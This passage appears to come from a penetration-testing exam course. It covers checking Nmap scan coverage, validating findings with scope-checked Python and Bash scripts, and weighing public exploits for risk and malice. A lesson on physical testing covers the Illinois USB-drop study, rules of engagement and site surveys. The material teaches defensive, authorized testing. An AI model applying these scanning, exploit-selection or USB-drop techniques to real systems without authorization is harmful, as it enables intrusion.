scope = {line.strip() for line in open(sys.argv[1]) if line.strip()}
try:
    root = ET.parse(sys.argv[2]).getroot()
except ET.ParseError:
    sys.exit("INCOMPLETE: the XML is cut off, so this scan never finished")

for info in root.iter("scaninfo"):
    print(f"planned: {info.get('numservices')} {info.get('protocol')} ports per host")

up = {h.find("address").get("addr") for h in root.iter("host")
      if h.find("status").get("state") == "up"}
print(f"in scope: {len(scope)}, answered: {len(up)}")
for address in sorted(scope - up):
    print(f"NOT SEEN, ports never scanned: {address}")

Fed Jonas's file, it prints this fictional sample:

$ python3 coverage.py scope.txt brightwater.xml
planned: 1000 tcp ports per host
in scope: 62, answered: 54
NOT SEEN, ports never scanned: 203.0.113.37
[seven more addresses removed]

"All ports" was 1,000 TCP ports, and with no second planned line, no UDP at all. "All 62 hosts" was 54. Nmap does not port-scan a host that fails discovery, so those eight may be empty or may ignore ping, and he cannot say which until he rescans with -Pn or checks the client's asset list.

On your own files, with 192.168.56.102 as the only line in scope.txt, lab-full.xml from Lesson 7 should give planned: 65535 tcp ports per host and one host answered. Change one input: scan with defaults, sudo nmap -sS 192.168.56.102 -oX lab-default.xml, and the planned line drops to 1000, while scan2csv.py from Lesson 9 counts about 23 open ports rather than 30. (It overwrites open.csv, so rerun it on lab-full.xml afterward.) If you stop a scan with Ctrl+C, the script says INCOMPLETE, and nmap --resume can continue from the saved file.

Other tools keep similar records: plugin 19506 reports port range and duration, and a dynamic web scan's crawl list shows whether it got past the login page. One that stayed on /login tested one page.

A terminal running Nmap against the project's own test host, with the line Not shown: 993 filtered ports above the short list of ports it reports.
What an Nmap report leaves out
Tuankiet65 ( talk · contribs ) - Public domain - Wikimedia Commons

Troubleshooting scan configurations: symptom, cause, change

When a result looks wrong, fix the configuration before you trust the next run. Nmap will show its reasoning: --reason prints the packet that decided each state, XML stores it either way, and tcpdump in a second terminal shows what truly left your interface, as in Lesson 7. Sample output:

$ sudo nmap -sS --reason -p 21,8888 192.168.56.102
PORT     STATE  SERVICE        REASON
21/tcp   open   ftp            syn-ack ttl 64
8888/tcp closed sun-answerbook reset ttl 64

Repeat Lesson 7's firewall experiment and port 21 reads 21/tcp filtered ftp no-response. The service is the same; the silence is what changed.

What you seeLikely causeConfirm withChange, within the ROE
Note: Host seems down or 0 hosts up, but the client says it existsProbes blocked, or the wrong interface--iflist, ip route, tcpdump-Pn; fix the route, or name the interface with -e eth1
A known service is missingPort outside the list; no UDP scanThe planned line from coverage.py-p-, or name the port; -sU for key UDP ports
giving up on port because retransmission cap hit (2), or Skipping host 192.168.56.102 due to host timeoutTiming too aggressive: -T5 allows 2 retries and a 15-minute host timeout; -T4 allows 6 retriesRerun a sample at default timing and compare-T3 or -T4, or raise --max-retries and --host-timeout
Ports turn filtered part-way, or later hosts go silentAn intrusion prevention system (IPS) or rate limiter reacted--reason shows no-response where you had answersCall the ROE contact; agree on an allow-listed source address or a slower rate. Slipping past the block is a different test that needs written permission
An authenticated scan looks unauthenticatedLogin failed or lacks privilegePlugins 19506, 104410, 110385Fix the account and rescan

Scripting to validate results: a second method and a control

Hand checks do not scale to 300 rows, so script the dull part, using a different method from the tool you are checking. recheck.py reads the open.csv from scan2csv.py, refuses anything outside scope, completes a full TCP connection rather than a half-open probe, reads whatever the service says first, and prints a dated verdict. It pauses between rows, as portcheck.sh does, to respect the ROE's rate.

#!/usr/bin/env python3
"""recheck.py FILE.csv: test each row of a scan2csv.py file a second way."""
import csv
import ipaddress
import socket
import sys
import time

# ... SCOPE and def in_scope, copied unchanged from your scraper in Lesson 9 ...


def recheck(host, port):
    """Complete a full TCP connection, then read what the service says first."""
    try:
        with socket.create_connection((host, port), timeout=3) as conn:
            try:
                return "CONFIRMED", conn.recv(200).decode(errors="replace").strip()
            except socket.timeout:
                return "CONFIRMED", "(no greeting)"
    except OSError as problem:
        return "NOT CONFIRMED", type(problem).__name__


for row in csv.DictReader(open(sys.argv[1], newline="")):
    if not in_scope(row["host"]):
        print(f"REFUSED {row['host']}: outside scope")
        continue
    verdict, evidence = recheck(row["host"], int(row["port"]))
    print(time.strftime("%Y-%m-%d %H:%M"), f"{row['host']}:{row['port']} {verdict}: {evidence}")
    time.sleep(0.5)
$ python3 recheck.py open.csv | tee validated.txt
2026-11-03 21:14 192.168.56.102:21 CONFIRMED: 220 (vsFTPd 2.3.4)
2026-11-03 21:14 192.168.56.102:22 CONFIRMED: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
2026-11-03 21:14 192.168.56.102:445 CONFIRMED: (no greeting)
[further rows removed]

That is expected output, not a capture from your machine. Port 445 shows no greeting because an SMB server waits for the client to speak first.

Change one input: block port 21 on Metasploitable as in Lesson 7 and rerun with the same file, and that row becomes NOT CONFIRMED: TimeoutError. Restore your snapshot afterward. NOT CONFIRMED is a question, not a false positive: the port was open when you scanned, so something changed, and you find out what.

Note the limit too. CONFIRMED means a connection and a greeting, and a greeting is still a claim, so this script can confirm a port but never a CVE.

The negative control suits Bash. softcheck.sh asks for a page that cannot exist, then compares each path a directory tool reported. It uses the [[ ]] pattern tests from portcheck.sh and the < /dev/null guard Lesson 9 taught for while read loops.

#!/bin/bash
# softcheck.sh TARGET FILE: does each found path differ from a page that cannot exist?
target=$1
file=$2
if [[ "$target" != 192.168.56.* && "$target" != 127.0.0.1* ]]; then
    echo "REFUSED $target: outside scope"
    exit 1
fi
fetch() { curl -s -o /dev/null -w "%{http_code} %{size_download}" "$target/$1"; }
control=$(fetch "no-such-page-$RANDOM")
echo "control: $control"
while read -r path
do
    result=$(fetch "$path" < /dev/null)
    if [[ "$result" == "$control" ]]; then
        echo "$path: $result, SAME AS CONTROL, likely false positive"
    elif [[ "$result" == 404* ]]; then
        echo "$path: $result, not found"
    else
        echo "$path: $result, differs from control, check by hand"
    fi
    sleep 0.5
done < "$file"

These samples show the shape, and your numbers will differ.

$ bash softcheck.sh 192.168.56.102 found.txt
control: 404 296
backup: 404 284, not found
phpMyAdmin/: 200 4145, differs from control, check by hand

$ bash softcheck.sh 127.0.0.1:3000 found.txt
control: 200 80117
backup: 200 80117, SAME AS CONTROL, likely false positive
ftp: 200 11064, differs from control, check by hand

One changed input, the target, flips the reading of backup. Juice Shop's server sends its single-page app for almost any path outside /api and /rest. That is also why your scraper came back empty in Lesson 9. So a page that cannot exist looks like a hit. Its /ftp is a real directory listing. "Differs" is not proof either: it tells you where to look next.

Line 4: public exploit selection starts with whether you need one

Jonas's fourth line fails before anyone reads any code. Line 1 was a false positive, so tonight's exploit would have been aimed at a patched server.

First prove the weakness is real, then ask whether an exploit adds anything.

NIST says validation exists to prove that a vulnerability is there and show the exposure, and warns that real exploits against production systems carry high risk. If a package query already proves the fix is missing, an exploit adds evidence of impact along with risk, and the ROE decides whether that trade is allowed. Lesson 14 returns to this when you plan an attack path. If an exploit is justified, here is where testers look.

  • Exploit Database (Exploit-DB), maintained by OffSec: an archive of public exploits and proofs of concept (PoC), cross-referenced to CVEs, with a Verified filter. That mark is a useful signal, but it says nothing about your target, your build or your ROE.
  • SearchSploit: its command-line search over a local copy, on Kali. -x opens an entry so you can read it. --nmap checks every service in a version scan's XML, which hands you a list matched on version, with all the false positives that implies.
  • Metasploit modules, which carry a rank and written notes on their risks.
  • GitHub and similar sites, where anyone can upload anything under any name.
$ searchsploit harborftp
---------------------------------------------- ----------------------------
 Exploit Title                                |  Path
---------------------------------------------- ----------------------------
HarborFTP 3.1 - Remote Buffer Overflow        | windows_x86/remote/00001.py
HarborFTP 3.1 - Denial of Service (PoC)       | linux/dos/00002.c
---------------------------------------------- ----------------------------

The product and entries are fictional; the layout is real. The listing already says a lot: the folder names the platform, dos says what the second entry does, and (PoC) warns that it may only demonstrate the flaw.

The Metasploit 4.14 start screen on Kali Linux, listing 1,627 exploit modules and 472 payloads above the msf prompt.
The Metasploit console
Arshane88 - CC BY-SA 4.0 - Wikimedia Commons

Six questions for any published exploit

QuestionWhat to look atWalk away if
Does it match the target?Exact build, operating system, CPU architecture, configuration, and what it needs first, such as a loginIt was tested only on a different build
Can you read all of it?Every line, before it runs, in an isolated VM: what it connects to, writes and startsIt is a compiled binary, holds encoded blocks you cannot decode, or fetches more code
Who vouches for it?A Verified mark, a maintained framework, the original advisoryAll you have is stars and a confident README
How reliable is it?Rank, tested-on list, attempts needed, whether the advisory agreesIts claims outrun the primary advisory
What does it do, on success and on failure?Crashes, restarts, lockouts, files left, settings changed, log entries; your cleanup planFailure could take production down with no way back
Does the ROE allow it?Scope, exclusions, testing window, a contact on standbyA possible crash meets a ban on denial of service

Why read it first. A public exploit runs with your rights on your machine, which holds other clients' data. A Leiden University team checked 47,285 GitHub repositories of proofs of concept for CVEs from 2017-2021 and found signs of malicious intent in 899, or 1.9%: calls to malicious addresses, encoded malicious code and trojanized binaries. (An earlier version of the paper reported 10.3%, a figure that still circulates.)

In December 2024, Datadog Security Labs documented a threat actor, MUT-1244, publishing trojanized exploits under CVE names, with fake accounts starring and forking each other's repositories while vulnerability feeds listed them automatically. So 400 stars is not evidence.

Why a wrong match crashes things. A memory-corruption exploit writes past the end of a buffer and depends on what sits beside it, and that layout changes with build, architecture and memory randomization. Guess wrong and the program is left running on corrupted memory, so it usually dies rather than failing politely.

Reliability has a vocabulary. Metasploit's ranks, in order, are:

  • Excellent (should never crash the service)
  • Great, Good and Normal, which differ in how well they find the right target
  • Average (50% or better on common platforms)
  • Low (under 50%)
  • Manual (15% or lower, basically a denial of service)

Module notes cover stability (CRASH_SAFE, CRASH_SERVICE_DOWN), side effects (ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ACCOUNT_LOCKOUTS) and reliability (UNRELIABLE_SESSION). These are the questions to ask of any exploit. A rank is not permission: Excellent speaks about crashing, and a tidy exploit can still change the system.

Check claims against the primary advisory. Qualys reported that on 32-bit Debian 12.5 it took about 10,000 tries on average to win the CVE-2024-6387 race condition and about 6-8 hours to get a shell, with a 64-bit exploit much harder. A repository promising a quick root shell has a gap to explain, and those hours of repeated connections show in every log.

A diagram in which the word excessive, written into an eight-byte buffer A, spills into the neighboring variable B and changes its value.
Why a wrong guess can crash a service
Self - CC BY-SA 2.0 - Wikimedia Commons

A worked choice: three published exploits, one set of rules

The target, all fictional: HarborFTP 3.1 on 64-bit Ubuntu, the production server for a clinic's file transfers. A package query has confirmed the vulnerable build. The ROE allows exploitation of in-scope hosts from 22:00 to 02:00, excludes denial of service, and names a contact to call if a service fails.

CandidateWhat reading it showedVerdict
A: Exploit-DB entry, Verified, PythonMemory corruption with hard-coded offsets; comments say tested on 32-bit Windows Server 2012Reject. Wrong platform, so a crash is the likely result, and the ROE excludes that
B: GitHub repository, 400 stars, account one month oldA README promising a root shell on every version, and one compiled binaryReject. You cannot read it, so it goes nowhere near your machine or the client's
C: Framework module, rank NormalMatches this build; notes list CRASH_SERVICE_DOWN and IOC_IN_LOGSBest match, but a crash that stays down is what the ROE excludes. Not on production

Under these rules, nothing runs on production. You report the flaw as validated by package version, state that exploitation was not attempted and why, and ask the client how to proceed. Now change one input: the client adds a staging clone to the scope in writing, with the same build, restorable from a snapshot. C becomes the right choice, on the clone, inside the window, with the contact on standby, after you have run it on your own isolated copy and watched what it changes. A and B stay rejected, because their problems have nothing to do with where they run.

In short: prove the flaw first, read the exploit before it runs, and let the ROE, not your curiosity, decide whether it runs at all.

A worked question in the exam's format

A simulation might hand you an export like this one, all fictional, and ask you to sort it: true positive, false positive, false negative or unconfirmed, with a next action for each row. Try it before you read the answer.

RowHostTool saidYour check found
A203.0.113.33CVE-2024-6387; banner OpenSSH_9.6p1 Ubuntu-3ubuntu13dpkg -s: Version 1:9.6p1-3ubuntu13
B203.0.113.20Same plugin; banner OpenSSH_9.6p1 Ubuntu-3ubuntu13.3dpkg -s: Version 1:9.6p1-3ubuntu13.3
C203.0.113.210 missing patchesPlugin 19506: Credentialed checks : no
D203.0.113.40Directory tool: /backup, 200, length 1987Control /no-such-page-8841: 200, length 1987
E203.0.113.44Default scan: three ports, no databaseClient's asset list: MongoDB on TCP 27017
F203.0.113.50Tuesday's SYN scan: port 25 openThursday: NOT CONFIRMED, TimeoutError; --reason says no-response
  • A is a true positive. The package is older than the fixed version in USN-6859-1. Write the finding; you need no exploit to prove the fix is missing.
  • B is a false positive. That is exactly the fixed version. Remove it and note why, because the client's own scanner will raise it too.
  • C is a suspected false negative. The login failed, so "0" means not assessed. Fix the account and rescan.
  • D is a false positive. /backup cannot be told apart from a page that cannot exist: a soft 404. Filter on length and rerun.
  • E is a false negative. Port 27017 is outside Nmap's default 1,000 ports. Scan that port by name, then validate what answers.
  • F is unconfirmed. The port answered on Tuesday and something changed, a firewall or the service itself. Ask the client, rerun, and keep Tuesday's evidence with its date.

Only row A enters the findings today. B and D go to your notes on rejected results, and C, E and F stay under limitations until retested. Asked "which row justifies a public exploit tonight?", the answer is none: A is already proven, and the rest are not yet known to be real.

Exam cues: what the stem says and what it wants

The stem saysIt points toDo not confuse it with
Scanner flags a CVE; the vendor's advisory shows the fix is in the installed packageFalse positive from a backportTrue positive, which needs the fixed version to be absent
A manual check reproduced what the scanner reportedTrue positiveTrue negative, where nothing was reported and nothing is there
Scan reported nothing; a later test found the flawFalse negativeFalse positive, the reverse error
Fewer hosts in the results than in the scopeScan completeness; hosts failed discovery, so use -PnHosts proven absent
A known service is missing from a default scanPort list; use -p- or name the port-Pn, which changes discovery, not the ports
Fewer ports at -T5 than at -T3; "retransmission cap hit"Timing too aggressiveA firewall, which gives the same filtered result at any speed
Results stop part-way; your address gets no repliesAn IPS or rate limiter; call the ROE contactEvasion, which needs written permission
Confirm scan results with a scriptA different method: full connection, package query, controlRerunning the same command
You found an exploit online; what comes first?Read the source in an isolated VMStars, or a clean antivirus result, as proof of safety
Module may crash the service; the ROE excludes denial of serviceNot on production: use a clone, or report as validated without exploitationA high rank, which is not permission

How validated results are reported

Here is row A as you would write it for the fictional client.

  • Title: OpenSSH on 203.0.113.33 lacks the fix for CVE-2024-6387.
  • Severity: High, not the scanner's Critical. The CVE record scores it 8.1: no login is needed and the impact is full, but attack complexity is high, and Qualys needed hours of attempts. The host is reachable from the internet, which keeps it High.
  • Evidence: Banner SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13. dpkg -s openssh-server, with client-supplied credentials on the stated date from the stated address, returned Version 1:9.6p1-3ubuntu13. USN-6859-1 lists 1:9.6p1-3ubuntu13.3 as fixed. Exploitation not attempted, per the ROE.
  • Root cause: Security updates have not been applied since the host was installed, and automatic updates are off.
  • Remediation: Install the update from USN-6859-1, turn automatic security updates on, and confirm by rerunning the dpkg command. If patching must wait, Qualys notes that setting LoginGraceTime to 0 closes the code execution path, at the cost of exposing sshd to denial of service.

Two shorter records travel with it. A rejected result keeps its reason: "CVE-2024-6387 on 203.0.113.20: scanner matched the banner's version. Installed package 1:9.6p1-3ubuntu13.3 is the vendor's fixed version. Not a finding." A limitation states what you could not see: "Eight addresses gave no reply to discovery and were rescanned with -Pn. Host 203.0.113.21 could not be assessed with credentials until the second scan." Lesson 28 shows where these sit in the finished report.

Common misconceptions

  • "The scanner flagged it, so it goes in the report." A flag is a claim. It passes the validation step first, or it is labeled unconfirmed.
  • "No findings means the host is secure." It can mean a failed login, a port off the list, a test turned off or a stale plugin set.
  • "Running the scan twice validates it." The same method has the same blind spots.
  • "Lots of stars or an Excellent rank make an exploit safe." Stars can be faked, a rank describes crash risk, and only the ROE gives permission.

Where this leaves us

  • A true positive is a reported weakness you confirmed, a false positive is reported but absent, and a false negative is present but unreported and produces no output of its own.
  • Backporting fixes a flaw without changing the upstream version, so compare the installed package with the vendor's fixed version: for Ubuntu 24.04 and CVE-2024-6387, 1:9.6p1-3ubuntu13.3.
  • The validation step: state the claim, ask how the tool knows, check it a different way by hand, run a control, record a verdict.
  • Greenbone hides results below QoD 70% by default and gives banners with no patch level 30%; Nessus Safe Checks use banner grabbing rather than active testing.
  • Credentialed checks : no in plugin 19506 means an authenticated scan's "clean" result was never assessed.
  • Nmap does not port-scan hosts that fail discovery, so completeness means comparing the XML's hosts and planned ports with the scope.
  • "Retransmission cap hit" points to timing (-T5 allows 2 retries); ports going silent part-way points to an IPS, and the answer is the ROE contact, not evasion.
  • A validation script needs a different method, a scope check and a control, and a greeting it collects is still only a claim.
  • Judge a public exploit by match, readability, who vouches for it, reliability, effect on failure and the ROE. Stars prove nothing, and 1.9% of the GitHub PoC repositories one study checked showed signs of malice.

Sources

  1. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 4.3 and 5. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
  2. Qualys. (2024, July 1). regreSSHion: RCE in OpenSSH's server, on glibc-based Linux systems (CVE-2024-6387) [Security advisory]. qualys.com. CVSS score from the CVE record.
  3. Canonical. (2024, July 1). USN-6859-1: OpenSSH vulnerability. Ubuntu Security Notices. ubuntu.com; manual page sshd_config(5)
  4. Red Hat. (n.d.). Security backporting practice. Red Hat Customer Portal. access.redhat.com
  5. Greenbone. (n.d.). Quality of detection concept (section 10.2.6). In Greenbone Enterprise Appliance documentation, GOS 24.10. docs.greenbone.net
  6. Tenable. (n.d.). Nessus plugins 19506, 21745, 104410 and 110385; Tenable Nessus user guide, Advanced settings (Safe Checks).
  7. Lyon, G. (n.d.). Nmap reference guide: Output; Timing and performance; ssl-enum-ciphers; Nmap source code (scan_engine.cc, nmap.cc, output.cc, portreasons.cc) for the wording of its messages.
  8. Rapid7. (n.d.). Metasploit documentation: Exploit ranking; Module reliability, side effects, and stability; and Metasploitable 2 exploitability guide (used here only for the distccd description).
  9. OffSec. (n.d.). About the Exploit Database; SearchSploit: The manual. Exploit Database.
  10. El Yadmani, S., The, R., and Gadyatskaya, O. (2023). Beyond the surface: Investigating malicious CVE proof of concept exploits on GitHub (arXiv:2210.08374v2). arxiv.org
  11. Tafani-Dereeper, C., Muir, M., and Korn, A. (2024, December 13). Getting a taste of your own medicine: Threat actor MUT-1244 targets offensive actors, leaking hundreds of thousands of credentials. Datadog Security Labs. securitylabs.datadoghq.com
  12. Internet Engineering Task Force. RFC 5321 (2008), Simple Mail Transfer Protocol; RFC 6101 (2011), The Secure Sockets Layer (SSL) Protocol Version 3.0; RFC 7568 (2015), Deprecating Secure Sockets Layer Version 3.0. RFC 5321; RFC 6101; RFC 7568
Key terms
False positive
A result in which a tool reports a weakness that is not actually present, such as a CVE flagged from a version number on a server whose vendor already back-ported the fix.
False negative
A real weakness that a tool fails to report, for example because a login failed, a port was outside the scan list or a test was turned off.
True positive
A reported weakness that is really present and has been confirmed, ideally by a second method that does not share the first tool's blind spots.
Scan completeness
Whether a scan actually covered every in-scope host, port, protocol and test it was meant to, shown by comparing the tool's own record with the scope.
Backporting
Copying a fix from a newer release of a program into the older release a vendor ships, which closes the flaw without changing the upstream version number.
Quality of Detection (QoD)
Greenbone's 0-100 percent score for how reliable a detection method is; results below 70 percent are hidden by default.
Authenticated scan
A vulnerability scan that logs in to read installed packages and settings; Nessus records whether the login worked in plugin 19506.
Proof of concept (PoC) exploit
Published code meant to show that a vulnerability can be triggered; often unreliable and sometimes malicious, so it must be read before it runs.
Exploit Database
OffSec's public archive of exploits and proofs of concept, searchable online with a Verified filter or offline with SearchSploit.
Remote code execution (RCE)
A flaw that lets an attacker run code of their choosing on a target over a network.

Through the Front Door: Physical Security Testing

  • Interpret the Tischer et al. USB drop results correctly, including why the success rate is a range of 45-98% and not a single number.
  • Explain what tailgating, site surveys, USB drops, badge cloning and lock picking are, the weakness each relies on, the evidence each produces, how defenders notice it and what fixes it.
  • Decide from a site survey and a physical rules of engagement which tests are authorized, and identify what changes the answer.
  • Write a physical security finding with a justified severity, evidence, root cause and remediation.

297 USB flash drives on a university campus

On Monday, 27 April 2015, a team of eight students began walking the campus of the University of Illinois at Urbana-Champaign. Each would pretend to tie a shoelace, look around to see whether anyone had noticed, and walk away, leaving a USB flash drive (USB stands for Universal Serial Bus) on the ground. By 29 April they had left 297 of them in parking lots, hallways, classrooms, lobbies and on sidewalks. The first was plugged in less than six minutes after it was dropped. Twice, someone handed a drive straight back to the researcher who was trying to drop it.

Matthew Tischer and six colleagues published the results in 2016 as "Users Really Do Plug in USB Drives They Find". Testers had long told stories about this trick, but the paper says no peer-reviewed study had measured it. Its questions apply to every physical test on the exam: who authorized it, how is it kept safe, what exactly gets measured, and what does the number mean?

Exam objectives: 3.3 (physical security concepts: tailgating, site surveys, USB drops, badge cloning, lock picking). The objective begins "Explain", so expect to define, recognize and compare these techniques, not to perform them. Lesson 21 returns to tailgating as social engineering, Lesson 22 to radio-frequency identification (RFID) attacks beyond doors, and Lesson 29 to physical controls as remediation.

Hold the five techniques as one ladder from outside a building to inside a locked room: look, leave, follow, copy, pick. Each rung needs more explicit permission than the one before.

RungExam termThe question it answers
LookSite surveyWhat can be seen and worked around from outside, without touching anything?
LeaveUSB dropWill someone else carry an unknown device inside and connect it?
FollowTailgatingDoes a door admit only one person per credential?
CopyBadge cloningCan a reader tell a copied credential from the original?
PickLock pickingDoes the lock resist being opened with no key?

Testing a system without its owner's written permission is illegal and wrong. That is so under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere, and physical testing adds trespass and burglary law. Do not try any of this on your school, your workplace, your apartment building or any badge system, even with your own badge: the door and the reader belong to someone else. Explaining these techniques takes no lock and no reader.

A paved path, lawn and tall green trees on the Main Quad, one of the three parts of campus where the researchers dropped their drives.
Main Quad, University of Illinois at Urbana-Champaign
Daderot - Public domain - Wikimedia Commons

How the drop was built, and what each file really did

The team varied three things and measured the effect of each:

  • place (30 spots across three parts of campus, the Main, South and Engineering Quads, in five location types)
  • appearance (no label as the control, keys attached, a return-address label, or labels reading "confidential" or "final exam solutions")
  • time of day (6-10 a.m. or 1-5 p.m.)

That made 300 planned drops. One drive was lost and one spot could not be reached for two drops, which leaves 297.

Every file on every drive had a name matching the drive's appearance, but was really an HTML page. Opening one loaded a single image from the team's server, and that request was the measurement. The pages held no scripts, and no code ran automatically on anyone's computer. The same page explained the study, let the person withdraw, and linked to a survey that paid $10.

Two things follow, and both carry over to client work. First, the test proved the risk without creating it: a real attacker's drive could have done harm, and this one could only report "opened". Second, the method has a blind spot. It cannot see a drive that was plugged in with no file opened, or a file opened on a computer with no internet connection.

Permission came first. The university's institutional review board (IRB) approved the experiment, and the authors state that it involved deception. Their acknowledgments call the university's Technology Services, police department and Office of University Counsel "fundamental in executing the study". A physical test needs the same three conversations: with the people who run the systems, the people who will respond, and the lawyers.

A small black USB flash drive with its metal connector extended and a key ring loop at the far end.
A USB flash drive
Evan-Amos - Public domain - Wikimedia Commons

Why the result is a range: 45-98%

MeasureResultHow to read it
Drives removed from where they were dropped290 of 297 (98%)A ceiling: taking a drive is not connecting it
Drives with at least one file opened135 of 297 (45%)A floor: connecting a drive does not require opening a file
Time from drop to connectionMedian 6.9 hours; average 38.5 hoursLate connections pull the average up; afternoon drops connected significantly faster (p = 0.017)
Drives returned to the researchers54 (18%), of which the paper counts 36 as never connectedHanding a drive in does not prove it stayed unplugged: the other 18 had been connected

So the answer to "what share of finders plug in a drive?" is the paper's own estimate of 45-98%. Testers' lore says the label does the work. The paper's Table I says otherwise.

AppearanceFiles openedp, compared with no label
Keys attached32 of 60 (53%)0.47
"Confidential"29 of 58 (50%)0.72
"Final exam solutions"30 of 60 (50%)0.71
No label27 of 60 (45%)(the control)
Return label17 of 59 (29%)0.10

No appearance significantly beat the blank drive, and neither location nor time of day made a significant difference to whether a drive was plugged in. The one movement was downward, and it needs careful wording. The value p = 0.10 misses the usual 0.05 bar, and every return-label drive went out on one day. So the authors say only that they suspect finders had another way to reach the owner.

The survey suggests why. Of 62 valid responses, 42 (68%) said they wanted to return the drive, 11 (18%) said curiosity and 2 (3%) wanted to keep it. Drives with keys came back more often than blank ones, 17 of 60 (28%) against 6 of 60 (10%), p = 0.02. Curiosity still showed: on drives holding a resume and winter break photos, 14 of 33 consenting users opened the resume first and 13 went straight to the photos. And 42 respondents (68%) took no precautions, while 10 (16%) scanned with anti-virus.

These were not unusually careless people. Their computer expertise did not differ significantly from a campus baseline, and they were more risk averse than the general population in every domain except recreational risk. Warnings did not end it either: by the second day Reddit users were telling others not to plug the drives in, and the authors still call the attack largely successful.

Do not quote 45% to a client as what their staff will do. This was one campus in 2015, and the paper's own comparison shows the spread: a CompTIA-commissioned study of 200 drives saw 17% opened, a master's thesis 37% and three anecdotal reports 59-75%. Measure your own client.

The upshot: a USB drop works because helpful people want to find the owner, and curiosity takes over once the drive is in. A tempting label added nothing measurable, skill made no measurable difference, and warnings alone did not stop it.

A USB drop as a client test

A USB drop is the exam's name for leaving USB devices where staff will find them, to see whether they get connected. Choose it when the client wants to measure its removable-media rules and endpoint controls without anyone entering the building. A found drive can carry three different risks, each with its own fix.

What the device doesWhy it worksMITRE ATT&CKWhat stops it
Holds a file disguised as something ordinaryThe finder opens it; the study measured thisT1091 Replication Through Removable MediaRestrict removable media and execution from it
Uses AutorunThe system runs content on insertion; the paper notes Windows no longer does this automaticallyT1091Disable Autorun where it is not needed
Has reprogrammed firmware, acting as a keyboard or network adapterShown by Nohl and colleagues in 2014; no file needs opening, because a computer accepts a new human interface device (HID)T1200 Hardware AdditionsBlock unknown device types by endpoint policy; 802.1X for network additions

A professional drop copies the study's restraint. Use new, team-owned drives with a unique ID on each, counted out and back (Lesson 26), with a harmless beacon and nothing else: no code, no credential capture, no collecting of files. Place them only where the rules of engagement (ROE) say, on the client's own property. Skip the tempting label, since the evidence says it buys nothing. Agree who at the client knows, so a help desk call does not grow into a police report. Results look like this, with fictional data and documentation addresses:

Beacon log, fictional client: 20 drives placed, 17 gone by the last day
time (UTC)           drive  placed        file  source address  browser
2027-03-09 15:41:07  D-07   Lot C, row 2  1     198.51.100.23   Firefox
2027-03-09 18:12:44  D-12   Lot C, row 5  1     198.51.100.23   Edge
2027-03-10 13:03:19  D-07   Lot C, row 2  2     203.0.113.60    Firefox

Three events are not three people. Two distinct drives beaconed, so the report says "between 2 and 17 of 20 drives may have been connected". No name appears, and none should.

Defenders have several views. Windows Security event 6416 records a newly recognized external device, if the Audit PNP Activity subcategory is on. ATT&CK's analytics tie that event to a new volume, process or network adapter, and look for files executed from a mounted drive. The beacon shows in proxy logs. People report too: most drives returned in the study came through administrators acting as lost-and-found contacts (59%) or IT staff (33%).

Fixes follow the mechanisms. NIST SP 800-53 control MP-7 prohibits portable storage devices with no identifiable owner, and SC-41 disables or removes ports a system does not need. Then answer the motive: finders of return-label drives used the label, and each of the ten fictional owners named on them was emailed by 4.4 senders on average within a week. So advertise a place to hand in found media. That advice is an inference from the study, which did not test it.

Physical rules of engagement after Dallas County

Lesson 3 told the story of the Dallas County, Iowa, courthouse arrests, so read this section with it in mind: the testers carried a signed letter and were still arrested and charged. With your body in the building, the paperwork needs more detail than a network test, not less. PTES's pre-engagement questions are a good start:

  • Is the site shared, and which floors are in scope?
  • Are guards third-party, armed, allowed to use force?
  • Are lock picks or bump keys allowed, given local laws?
  • What triggers the alarm?

Turn the answers into clauses.

ClauseWhat it must sayThe failure it prevents
AuthorityA signature from whoever owns or controls each building, floor and lot, including any landlordIowa: the state court system signed, and the county owned the courthouse
WindowDates, hours, time zone by name, and whether after-hours entry is allowedIowa: "day and evening" conflicted with business hours in the wrong time zone
TechniquesEach technique allowed or excluded, door by door, with "bypass" definedIowa: a loosely worded "limited physical bypass"
Call list24-hour numbers, each tested before day one; who at the client and on the guard force knows; the letter carried by every testerIowa: one number on the letter was wrong
Stop rulesNo force, damage or alarms; where inside to stop; what to do when challengedA test turning into an incident
Tools and evidenceWhich tools are carried; photos without faces or readable badgesA burglary-tools charge; a photo that works as a credential

Tools can be a charge of their own. Iowa makes possessing a tool with intent to use it in a burglary an aggravated misdemeanor. Virginia makes possessing burglarious tools with intent a Class 5 felony, and treats possession by anyone but a licensed dealer as prima facie evidence of that intent. CompTIA's sample hardware list names a lock pick kit with the words "where applicable", so check the law where you will work. If you are stopped, stop: keep your hands visible, show the letter, ask them to call the numbers, and never run.

The upshot: before any door, ask who owns it, whether the ROE names this technique at this door, and whether you are inside the window.

Site surveys: reading a building before touching it

A site survey is the first rung: an inspection of a facility's perimeter, entrances, cameras, guards and staff habits before any attempt to get in. It works because physical controls are visible and routines repeat.

PTES describes on-location gathering over time, usually at least two or three days so that patterns show, looking at physical security, wireless signals, employee behavior, shared and adjacent spaces, dumpster diving and the equipment in use. It may be covert, from public ground, or overt, with a client escort.

Run one at the start of any physical scope, because it decides which of the other four tests are worth asking for.

Watch the word: in Wi-Fi work a site survey maps radio coverage, which Lesson 20 teaches. In objective 3.3 it means the building. The output is a dated, timed record like this one.

Site survey excerpt, Tern Harbor Logistics (fictional), Building A, 2-4 March 2027
RefWhereWhat was seenSuspected weaknessWhat could confirm it
S1Door 2, loading dock07:30-08:15 all three days: staff badge once and several walk through; no alarm heard; camera aimed at trucks, not the doorEntry with no credentialTailgating
S2Door 3, staff entranceFacilities schedule: unlocked 07:00-18:00, reader-controlled after that, when the lobby guard desk is also closed; sticker on reader says 125 kHzCopyable credentialBadge cloning with a test badge
S3Lot C, staff parkingNo camera; staff walk from here to Door 3Dropped devices go unwatchedUSB drop
S4Room 2B, server roomPin tumbler cylinder, no reader, no door contact seen; Facilities says one master key opens all office doorsOnly a mechanical lock protects itLock picking if allowed; key-control review

Every row is a hypothesis, not a finding, and Lesson 12's rule applies: confirm before you report. Defenders notice a survey through people and cameras: a stranger photographing doors, the same car three mornings running. NIST's control PE-6 asks for that monitoring, by guards, video and sensors, with access logs reviewed. The fixes are door-held alarms, cameras aimed at doors, patrols, a habit of challenging strangers, and badges kept out of sight off site.
